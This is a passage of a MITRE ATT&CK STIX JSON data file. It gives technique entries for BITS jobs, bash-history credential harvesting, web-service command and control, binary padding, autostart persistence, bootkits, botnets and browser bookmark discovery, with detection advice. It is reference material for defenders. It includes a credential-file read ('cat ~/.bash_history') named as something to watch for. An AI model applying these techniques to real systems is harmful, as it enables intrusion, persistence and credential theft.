                    "description": "Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.",
                    "source_name": "Symantec BITS May 2007"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/",
                    "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.",
                    "source_name": "PaloAlto UBoatRAT Nov 2017"
                },
                {
                    "url": "https://technet.microsoft.com/library/dd939934.aspx",
                    "description": "Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018.",
                    "source_name": "Microsoft Issues with BITS July 2011"
                },
                {
                    "source_name": "Elastic - Hunting for Persistence Part 1",
                    "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1",
                    "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2021-04-13T21:36:04.956Z",
            "created": "2018-04-18T17:59:24.739Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_detection": "BITS runs as a service and its status can be checked with the Sc query utility (<code>sc query bits</code>).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (<code>bitsadmin /list /allusers /verbose</code>).(Citation: Microsoft BITS)\n\nMonitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the \u2018Transfer\u2019, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)\n\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)",
            "x_mitre_defense_bypassed": [
                "Firewall",
                "Host forensic analysis"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Network Traffic: Network Connection Creation",
                "Service: Service Metadata",
                "Command: Command Execution"
            ],
            "x_mitre_contributors": [
                "Brent Murphy, Elastic",
                "David French, Elastic",
                "Ricardo Dias",
                "Red Canary"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1139",
                    "url": "https://attack.mitre.org/techniques/T1139"
                },
                {
                    "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
                    "source_name": "External to DA, the OS X Way"
                }
            ],
            "name": "Bash History",
            "id": "attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-04T13:03:03.354Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1552.003",
                    "url": "https://attack.mitre.org/techniques/T1552/003"
                },
                {
                    "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
                    "source_name": "External to DA, the OS X Way"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Bash History",
            "description": "Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)",
            "id": "attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2020-02-07T20:48:49.878Z",
            "created": "2020-02-04T13:02:11.685Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.",
            "x_mitre_data_sources": [
                "File: File Access",
                "Command: Command Execution"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1102.002",
                    "url": "https://attack.mitre.org/techniques/T1102/002"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Bidirectional Communication",
            "description": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ",
            "id": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-03-26T23:15:47.861Z",
            "created": "2020-03-14T22:34:03.024Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Connection Creation"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1009",
                    "url": "https://attack.mitre.org/techniques/T1009"
                },
                {
                    "external_id": "CAPEC-572",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/572.html"
                },
                {
                    "source_name": "ESET OceanLotus",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
                },
                {
                    "source_name": "Securelist Malware Tricks April 2017",
                    "url": "https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/",
                    "description": "Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019."
                },
                {
                    "source_name": "VirusTotal FAQ",
                    "url": "https://www.virustotal.com/en/faq/",
                    "description": "VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019."
                }
            ],
            "name": "Binary Padding",
            "id": "attack-pattern--519630c5-f03f-4882-825c-3af924935817",
            "type": "attack-pattern",
            "modified": "2020-09-17T18:25:33.796Z",
            "created": "2017-05-31T21:30:22.096Z"
        },
        {
            "created": "2020-02-05T14:04:25.865Z",
            "modified": "2020-09-17T18:25:33.828Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ",
            "name": "Binary Padding",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1027.001",
                    "url": "https://attack.mitre.org/techniques/T1027/001"
                },
                {
                    "external_id": "CAPEC-572",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/572.html"
                },
                {
                    "external_id": "CAPEC-655",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/655.html"
                },
                {
                    "source_name": "ESET OceanLotus",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
                },
                {
                    "source_name": "Securelist Malware Tricks April 2017",
                    "url": "https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/",
                    "description": "Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019."
                },
                {
                    "source_name": "VirusTotal FAQ",
                    "url": "https://www.virustotal.com/en/faq/",
                    "description": "VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019."
                }
            ],
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Signature-based detection"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.1",
            "x_mitre_detection": "Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool.  When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file. ",
            "x_mitre_data_sources": [
                "File: File Metadata",
                "File: File Content"
            ],
            "x_mitre_contributors": [
                "Martin Jirkal, ESET"
            ]
        },
        {
            "id": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
            "description": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)\u00a0 These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.",
            "name": "Boot or Logon Autostart Execution",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1547",
                    "url": "https://attack.mitre.org/techniques/T1547"
                },
                {
                    "external_id": "CAPEC-564",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/564.html"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/aa376977",
                    "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.",
                    "source_name": "Microsoft Run Key"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx",
                    "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.",
                    "source_name": "MSDN Authentication Packages"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx",
                    "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.",
                    "source_name": "Microsoft TimeProvider"
                },
                {
                    "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order",
                    "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.",
                    "source_name": "Cylance Reg Persistence Sept 2013"
                },
                {
                    "source_name": "Linux Kernel Programming",
                    "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf",
                    "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018."
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2021-04-24T13:50:12.837Z",
            "created": "2020-01-23T17:46:59.535Z",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_detection": "Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns)  Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \n\nSuspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.",
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "root"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Windows Registry: Windows Registry Key Creation",
                "Windows Registry: Windows Registry Key Modification",
                "File: File Modification",
                "Command: Command Execution",
                "Process: Process Creation",
                "Module: Module Load",
                "Kernel: Kernel Module Load",
                "Driver: Driver Load",
                "Process: OS API Execution"
            ]
        },
        {
            "id": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Boot or Logon Initialization Scripts",
            "description": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely.  \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1037",
                    "url": "https://attack.mitre.org/techniques/T1037"
                },
                {
                    "external_id": "CAPEC-564",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/564.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2021-04-27T19:58:02.332Z",
            "created": "2017-05-31T21:30:38.910Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "macOS",
                "Windows",
                "Linux"
            ],
            "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Creation",
                "Process: Process Creation",
                "Command: Command Execution",
                "Active Directory: Active Directory Object Modification",
                "File: File Creation",
                "File: File Modification"
            ],
            "x_mitre_version": "2.1"
        },
        {
            "id": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d",
            "name": "Bootkit",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1067",
                    "url": "https://attack.mitre.org/techniques/T1067"
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf",
                    "description": "Mandiant. (2016, February). M-Trends 2016. Retrieved January 4, 2017.",
                    "source_name": "MTrends 2016"
                },
                {
                    "url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion",
                    "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.",
                    "source_name": "Lau 2011"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-20T19:53:25.628Z",
            "created": "2017-05-31T21:30:54.661Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1542.003",
                    "url": "https://attack.mitre.org/techniques/T1542/003"
                },
                {
                    "external_id": "CAPEC-552",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/552.html"
                },
                {
                    "source_name": "Mandiant M Trends 2016",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf",
                    "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019."
                },
                {
                    "url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion",
                    "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.",
                    "source_name": "Lau 2011"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Bootkit",
            "description": "Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nA bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.",
            "id": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-09-17T19:47:14.338Z",
            "created": "2019-12-19T21:05:38.123Z",
            "x_mitre_defense_bypassed": [
                "Host intrusion prevention systems",
                "Anti-virus",
                "File monitoring"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_detection": "Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.",
            "x_mitre_data_sources": [
                "Drive: Drive Modification"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1583.005",
                    "url": "https://attack.mitre.org/techniques/T1583/005"
                },
                {
                    "source_name": "Norton Botnet",
                    "url": "https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html",
                    "description": "Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020."
                },
                {
                    "source_name": "Imperva DDoS for Hire",
                    "url": "https://www.imperva.com/learn/ddos/booters-stressers-ddosers/",
                    "description": "Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020."
                },
                {
                    "source_name": "Krebs-Anna",
                    "description": "Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai Worm Author?. Retrieved May 15, 2017.",
                    "url": "https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/"
                },
                {
                    "source_name": "Krebs-Bazaar",
                    "description": "Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service Bazaar. Retrieved May 15, 2017.",
                    "url": "https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/"
                },
                {
                    "source_name": "Krebs-Booter",
                    "description": "Brian Krebs. (2016, October 27). Are the Days of \u201cBooter\u201d Services Numbered?. Retrieved May 15, 2017.",
                    "url": "https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Botnet",
            "description": "Adversaries may buy, lease, or rent a network of compromised systems\u00a0that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)",
            "id": "attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T02:49:14.664Z",
            "created": "2020-10-01T00:49:05.467Z",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1584.005",
                    "url": "https://attack.mitre.org/techniques/T1584/005"
                },
                {
                    "source_name": "Norton Botnet",
                    "url": "https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html",
                    "description": "Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020."
                },
                {
                    "source_name": "Imperva DDoS for Hire",
                    "url": "https://www.imperva.com/learn/ddos/booters-stressers-ddosers/",
                    "description": "Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020."
                },
                {
                    "source_name": "Dell Dridex Oct 2015",
                    "url": "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Botnet",
            "description": "Adversaries may compromise numerous third-party systems to form a botnet\u00a0that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service(Citation: Imperva DDoS for Hire), adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).",
            "id": "attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T03:01:00.271Z",
            "created": "2020-10-01T00:58:35.269Z",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "id": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Browser Bookmark Discovery",
            "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1217",
                    "external_id": "T1217"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2020-03-26T16:06:07.367Z",
            "created": "2018-04-18T17:59:24.739Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Access"
            ],
            "x_mitre_contributors": [
                "Mike Kemmerer"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1176",
                    "url": "https://attack.mitre.org/techniques/T1176"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Browser_extension",
                    "description": "Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.",
                    "source_name": "Wikipedia Browser Extension"
                },
                {
                    "url": "https://developer.chrome.com/extensions",
                    "description": "Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017.",
                    "source_name": "Chrome Extensions Definition"
                },
                {
                    "url": "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf",
                    "description": "Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.",
                    "source_name": "Malicious Chrome Extension Numbers"
                },
                {
                    "source_name": "xorrior chrome extensions macOS",
